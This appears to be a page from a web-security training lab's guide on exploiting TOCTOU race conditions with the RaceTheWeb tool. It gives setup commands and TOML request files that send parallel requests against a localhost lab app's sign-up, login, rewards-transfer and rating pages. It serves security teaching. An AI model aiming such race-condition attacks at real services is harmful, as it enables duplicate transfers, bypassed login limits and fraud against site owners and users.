More Tools
Start with whatever tools you may have.Better tools will be found as you go.
Using a tool can help you find and exploit TOCTOU issues. There are a couple of such tools available in the open-source world:
Name
Notes
Browser Dev Tools
- Very easy to find
- Comes with major browsers
- Does not support sending cookies
cURL
- Easy to get
- Works on almost all the platforms
- Supports sending cookies
We will solve the last challenge using RaceTheWeb. The executable files for RaceTheWeb can be obtained from https://github.com/aaronhnatiw/race-the-web/releases
Which version to download? It depends on the operating-system you are running
Operating System
FIle to be downloaded
Linux 32-bit
race-the-web_2.0.1_lin32.bin
Linux 64-bit
race-the-web_2.0.1_lin64.bin
macOS 32-bit
race-the-web_2.0.1_osx32.app.zip
macOS 64-bit
race-the-web_2.0.1_osx64.app.zip
Windows 32-bit
race-the-web_2.0.1_win32.exe
Windows 64-bit
race-the-web_2.0.1_win64.exe
On Linux and macOS machines, you need to make the file executable.
Operating System
Command to run on Terminal
race-the-web_2.0.1_lin32.bin
chmod +x race-the-web_2.0.1_lin32.bin
race-the-web_2.0.1_lin64.bin
chmod +x race-the-web_2.0.1_lin64.bin
race-the-web_2.0.1_osx32.app.zip
Extract the zip file
chmod +x race-the-web_2.0.1_osx32.app
race-the-web_2.0.1_osx64.app.zip
Extract the zip file
chmod +x race-the-web_2.0.1_osx64.app
Running RacetheWeb is easy:
- 1.Open command prompt/Terminal
- 2.Navigate to the directory where you have extracted/downloaded the executable binary file
- 3.Run the following command:
A screenshot of a social media post
Description automatically generated
race-the-web portion:
Depending on the operating-system you are using, the race-the-web portion needs to be changed.
Operating System
race-the-web portion
Linux 32-bit
./race-the-web_2.0.1_lin32.bin
Linux 64-bit
./race-the-web_2.0.1_lin64.bin
macOS 32-bit
./race-the-web_2.0.1_osx32.app
macOS 64-bit
./race-the-web_2.0.1_osx64.app
Windows 32-bit
race-the-web_2.0.1_win32.exe
Windows 64-bit
race-the-web_2.0.1_win64.exe
<toml-file> portion:
TOML stands for Tom’s Obvious Minimal Language. The TOML file supplied should be having the request details so that race-the-web can run them.
Find TOML file for some of the TimeGap Theory challenges below:
Sign Up page
1
# Sign Up
2
3
count = 10
4
verbose = false
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/sign-up.php"
9
body = "firstname=tom&password=tom&email=tom%40example.com&rewards=100"
10
Copied!
In the above TOML file:
- Count defines how many requests RaceTheWeb tools would be sending in parallel
- Verbose defines the verbosity level of output that is displayed on the screen. The value of this can either be true or false
- Method defines the type of the request. This can be GET, POST, PUT, DELETE etc.
- URL is, well, the url at which request needs to be sent
- Body of the request. You can skip this part if there is no body that needs to be submitted
Sign In page
1
# Sign In Page
2
3
count = 1
4
verbose = true
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/login.php"
9
body = "email=tom%40sechow.com&password=1234&submit=Submit"
10
11
[[requests]]
12
method = "POST"
13
url = "http://localhost/timegaptheory/webapp/login.php"
14
body = "email=tom%40sechow.com&password=password&submit=Submit"
15
16
[[requests]]
17
method = "POST"
18
url = "http://localhost/timegaptheory/webapp/login.php"
19
body = "email=tom%40sechow.com&password=tom&submit=Submit"
20
Copied!
In the above TOML file:
- Count is 1. However, there are three requests in the file. As such, RaceTheWeb tool will send three parallel requests
- First two requests have wrong password in the request body
Transfer rewards page
1
# Transfer Rewards
2
3
count = 10
4
verbose = false
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/user/transfer-rewards.php"
9
body = "from=tom%40sechow.com&to=jerry%40sechow.com&amount=100&submit=Submit"
10
Copied!
Ratings page
1
# Ratings page
2
3
count = 1
4
verbose = false
5
6
[[requests]]
7
method = "POST"
8
url = "http://localhost/timegaptheory/webapp/user/rate-the-program.php"
9
body = "token=ae13e0f1df6412dc4b9e2a9a3354320b6c1f3a65160bcffb552495759870afa3"
10
cookies = ["PHPSESSID=80c3ffddbfe4771dd408b3c53d4a7a44"]
11
12
[[requests]]
13
method = "POST"
14
url = "http://localhost/timegaptheory/webapp/user/rate-the-program.php"
15
body = "token=bc5091b2f60da51d203a58b2af1c8bd99a443751adb206814d22df79e335a3e5"
16
cookies = ["PHPSESSID=fab00a2f7f46e33bb57deb4e08153e52"]
17
Copied!
In the above TOML file, we are sending a cookie as well.
Now you know:
- 1.Various open-source tools and techniques for finding and exploiting TOCTOU security issues
- 2.How to use RaceTheWeb tool for exploiting TOCTOU security issues
- 3.Writing TOML files for RaceTheWeb tool
Last modified 10mo ago
Copy link